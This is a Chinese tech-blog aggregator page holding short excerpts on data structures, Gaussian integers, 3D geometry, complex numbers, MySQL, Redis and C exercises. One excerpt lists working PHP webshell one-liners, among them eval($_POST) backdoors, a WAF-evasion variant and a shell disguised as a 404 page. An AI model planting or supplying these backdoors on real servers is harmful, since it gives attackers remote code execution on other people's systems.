z1

数据结构绪论

时光总嘲笑我的痴心妄想 提交于 2020-04-04 08:59:15
/*--> */ /*--> */ 数据结构:问题的数学模型,是指互相之间存在着一种或多种特定关系的数据元素的集合 算法:求解问题的策略,操作步骤 /*--> */ /*--> */ 物理(存储)结构:数据结构在计算机中的表示 设计数据结构的存储结构时要存放所有数据元素的值和他们之间的逻辑关系 2种存储结构: 顺序存储映像—顺序存储结构借助数据元素在存储器中的相对位置来表示数据元素之间的逻辑关系 非顺序存储映像—链式存储结构借助指示数据元素存储地址的指针来表示数据元素之间的逻辑关系 /*--> */ /*--> */ 抽象数据类型(Abstract Data Type 简称ADT) :是指一个数学模型以及定义在此数学模型上的一组操作。 (D, R, P)三元组表示 : D是数据对象 R是D上的关系的集合 P是D上的操作的集合 定义格式: /*--> */ /*--> */ ADT抽象数据类型名 { 数据对象:〈数据对象的定义〉 数据关系:〈数据关系的定义〉 基本操作:〈基本操作的定义〉 } ADT抽象数据类型名 eg: ADT Complex { 数据对象:D={e1,e2|e1,e2∈RealSet} 数据关系:R1={ (e1,e2)| e1是实数部分 , e2 是复数的虚数部分 } 基本操作: AssignComplex( &Z, v1, v2 ) 操作结果:构造复数 Z

有限环Z[i]/(m+ni)的结构分析(Lua版本)

纵然是瞬间 提交于 2020-03-26 08:18:49
20200325: R8_22的表示找到了,所以还剩下14种8阶环的表示没找到。 root@ubuntu:/home/cpptest/lua# ./luatest GaussianIntegers.lua z1=9+11i z2=56+3i z1+z2=65+14i z1-z2=-47+8i z1*z2=471+643i z1/z2=0+0i false 0+0i 7+5i 0-1i 0-1i -1-9i -1+4i 4+7i 4+7i -1-6i 5-5i 0,1,2,4,5,8,9,10,13,16,17,18,20,25,26,29,32,34,36,37,40,41,45,49,50,52,53,58,61,64,65,68,72,73,74,80,81,82,85,89,90,97,98,100,101,104,106,109,113,116,117,125,128,130,136,145,149,162,164,181,200, 0,1,2,4,5,8,9,10,13,16,17,18,20,25,26,29,32,34,36,37,40,41,45,49,50,52,53,58,61,64,65,68,72,73,74,80,81,82,85,89,90,97,98,100,101,104,106,109,113,116,117,121,122,125,128,130

平面和直线在三维空间的方程和应用。

限于喜欢 提交于 2020-03-21 09:12:38
平面在三维空间 平面方程(一般方程): Ax + By + Cz + D = 0; 平面通过点M(x1, y1, z1),及法向量 n = (A,B,C)的方程 : A(x-x1) + B(y-y1) + C(z-z1) =0; 通过三个点P(a,0,0), Q(0,b,0), R(0,0,c)的方程: x/a + y/b + z/c = 1;// (a,b,c != 0) 直线在三维空间 直线的一般方程: F(x,y,z) = 0;// <->Ax + Bx + Cz + D = 0; G(x,y,z) = 0;// <-> ax + by + cz + d = 0; 直线过点M(x1,y1,z1)和方向向量m(m,n,p)的方程为: (x-x1)/m = (y-y1)/n = (z-z1)/p; 从而可得: x = m(z-z1)/p + x1; y = n(z-z1)/p + y1; 上面的公式可以用来求得一个直线与一个平行于xOy平面的交点坐标为(x0,y0,z0)(z0 已知). 其中 x0 = m(z0-z1)/p + x1; y0 = n(z0-z1)/p + y1; 来源: https://www.cnblogs.com/thetung/p/3492093.html

复数学习笔记1

为君一笑 提交于 2020-03-18 11:53:14
复数有毒。。。(不过貌似数学得学) 定义 在实数域上定义二元有序对z=(a,b),并规定有序对之间有运算"+"、"×" (记z 1 =(a,b),z 2 =(c,d)): z 1 + z 2 =(a+c,b+d) z 1 × z 2 =(ac-bd,bc+ad) 容易验证,这样定义的有序对全体在有序对的加法和乘法下成一个域,并且对任何复数z,有 z=(a,b)=(a,0)+(0,1)×(b,0) 令f是从实数域到复数域的映射,f(a)=(a,0),则这个映射保持了实数域上的加法和乘法,因此实数域可以嵌入复数域中,可以视为复数域的子域。 记(0,1)=i,则根据我们定义的运算,(a,b)=(a,0)+(0,1) × (b,0)=a+bi,i × i=(0,1) × (0,1)=(-1,0)=-1,这就只通过实数解决了虚数单位i的存在问题。 概念 形如 的数称为复数,其中规定i为虚数单位,且 (a,b是任意实数) 我们将复数 中的实数a称为复数z的实部,记作Rez=a,实数b称为复数z的虚部,记作 Imz=b。 当a=0且b≠0时,z=bi,我们就将其称为 纯虚数 。 复数的集合用 C 表示,实数的集合用 R 表示,显然, R 是 C 的真子集。 复数集是无序集,不能建立大小顺序。 复数的模 对于复数 ,它的模 运算法则 加法法则 几何意义:坐标为a,b代表a+bi

Mysql数据查询

纵然是瞬间 提交于 2020-03-08 11:56:51
Mysql查询 数据多次过滤 条件:from、where、group by、having、distinct、order by、limit => 层层筛选后的结果 查: select [distinct] 字段1 [[as] 别名1],...,字段n [[as] 别名n] from [数据库名.]表名 [条件]; 注:一条查询语句,可以拥有多种筛选条件,条件的顺序必须按照上方顺序进行逐步筛选,distinct稍有特殊(书写位置),条件的种类可以不全 可以缺失,但不能乱序 单表查询 distinct 去重 数据为: +------+------+ | x | y | +------+------+ | 1 | 2 | | 2 | 3 | | 3 | 4 | | 1 | 2 | +------+------+ #执行 select distinct * from t1; +------+------+ | x | y | +------+------+ | 1 | 2 | | 2 | 3 | | 3 | 4 | +------+------+ # 总结:distinct对参与查询的所有字段,整体去重(所查的全部字段的值都相同,才认为是重复数据) 常用函数 拼接:concat() | concat_ws() 大小写:upper() | lower() 浮点型操作:ceil() |

Redis数据类型

吃可爱长大的小学妹 提交于 2020-03-01 16:01:27
Redis数据类型 常见数据类型如下:(参考Http://redisdoc.com/) String/字符串 Hash/哈希 List/列表 Set/集合 Zset/sorted set有序集合 KEY的操作:(小写key代表键名,小写db代表数据库角标,小写second代表秒数) KEYS *:查看当前数据库的所有键值,若没有返回空(empty list or set) EXISTS key:存在key的值返回1,不存在返回0 MOVE key db:移动key到其他数据库(db),key不存在返回0,数据库不存在报错(error) ERR index out of range EXPIRE key second:给制定key设置过期时间,key不存在则失败返回0 TTL key:查看制定key的剩余时间(-2~正无穷大),永久返回-1,已过期返回-2 String/字符串 的操作: 单值单value SET key xxx/GET key/DEL key/APPEND key xxx/STRLEN key:设值(可覆盖),取值(不存在返回nil),删除(成功返回1失败返回0),追加(key存在返回其长度,不存在则相当于新增),求长度(不存在返回0) INCR key/DECR key/INCRBY key n/DECRBY key n:给指定key+1/-1/+n/-n

一句话

荒凉一梦 提交于 2020-02-26 07:29:24
PHP一句话: 1、普通一句话 <!--?php @eval($_POST['ki11']);?--> 2、防爆破一句话 <!--?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['ki11']);?--> //菜刀地址http://192.168.64.137/x.php?x=myh0st 密码:ki11 3、过狗一句话 <!--?php ($_=@$_GET[s]).@$_($_POST[ki11])?--> //菜刀地址 http://localhost/1.php?s=assert 4、404隐藏一句话 ? <h1>Not Found</h1> The requested URL /error.php was not found on this server. <!--?php <br ?--> @preg_replace("/[checksql]/e",$_POST['ki11'],"saft"); ?> 菜刀连接: 在配置栏写上 date=@eval($_POST[paxmac]); 5、不用 ? 号的一句话 <script type="text/javascript" language="php">// <![CDATA[ eval ($_POST[ki11]); // ]]></script> 6

自我高数学习笔记——知识点

妖精的绣舞 提交于 2020-02-19 22:00:40
高数学习笔记 第七章 向量代数与空间解析几何 本章难点 1、数量积、向量积的运算; 2、平面方程和直线方程及其求法; 3、平面与平面、直线与直线、平面与直线之间相互位置关系的判定; 4、二次曲面图形; 5、旋转曲面的方程。 本章内容 一、空间直角坐标系及向量 (一)空间两点间的距离 设空间有两点,坐标为 P 1 ( x 1 , y 1 , z 1 ) , Q ( x 2 , y 2 , z 2 ) P_1(x_1,y_1,z_1),Q(x_2,y_2,z_2) P 1 ​ ( x 1 ​ , y 1 ​ , z 1 ​ ) , Q ( x 2 ​ , y 2 ​ , z 2 ​ ) ,有: ∣ P 1 P 2 → ∣ = ( x 2 − x 1 ) 2 + ( y 2 − y 1 ) 2 + ( z 2 − z 1 ) 2 |\overrightarrow{P_1P_2}|=\sqrt{(x_2-x_1)^2+(y_2-y_1)^2+(z_2-z_1)^2} ∣ P 1 ​ P 2 ​ ​ ∣ = ( x 2 ​ − x 1 ​ ) 2 + ( y 2 ​ − y 1 ​ ) 2 + ( z 2 ​ − z 1 ​ ) 2 ​ 任意一点 M ( x , y , z ) M(x,y,z) M ( x , y , z ) 到原点 O ( 0 , 0 , 0 ) O(0,0,0) O (

C语言寒假大作战04

笑着哭i 提交于 2020-02-16 21:22:26
这个作业属于哪个课程 https://edu.cnblogs.com/campus/zswxy/SE2019-2/ 这个作业要求在哪里 https://edu.cnblogs.com/campus/zswxy/SE2019-2/homework/10275 这个作业的目标 把计算题答案显示出来 作业正文 https://www.cnblogs.com/qwe741741741/p/12317934.html 其他参考文献 %d与%g 2.2.2 设计思路和遇到的问题 利用%d与%g来显示答案 2.2.3 程序结果截图 2.2.4 程序代码 include<stdio.h> include<stdlib.h> include<time.h> void one(); void two(); void three(); void help(); void error(); void menu(); int main() { printf("========口算生成器========\n"); printf("欢迎使用口算生成器:\n"); int command; while(command !=5) { printf("\n"); printf("帮助信息\n"); printf("您需要输入命令代号来进行操作,且\n"); printf("一年级题目为不超过十位的加减法;\n");

2013 腾讯马拉松初赛 第0场

安稳与你 提交于 2020-01-22 20:09:24
初赛的题目还算是比较容易的, 不过因为缺少比赛经验比较紧张,拿到题目都不想仔细, 每次有一些想法,就赶紧写代码赶紧想提交,完全没有了平时的冷静, 最后导致大量的罚时。 这个必须得练,要是有做cf的冷静,也不会这个样子了... 下次做比赛的时候一定要注意, 一定要想清楚了再下手,要知道你每多提交了一次你就相当于多了花了20分钟思考, 而你在这20分钟把bug找出来就省了很多时间。 平时做题目,稍微复杂的点的题,你都会将代码读一遍比赛的时候除非特殊的情况我觉得我也读一遍代码。。多思考一下,看哪里有问题。。 a. 很水的题目 b. 多重背包的题目吧 也是比较基础。 #include <stdio.h> #include <string.h> #include <iostream> using namespace std; int dp[6][110][110]; int main() { int n,v1,v2,k; while(scanf("%d%d%d%d",&n,&v1,&v2,&k) != EOF) { memset(dp,0,sizeof(dp)); for(int i=0;i<n;i++) { int x,y,z; scanf("%d%d%d",&x,&y,&z); for(int i1=k;i1>=0;i1--) for(int j1=v1;j1>=0;j1--) for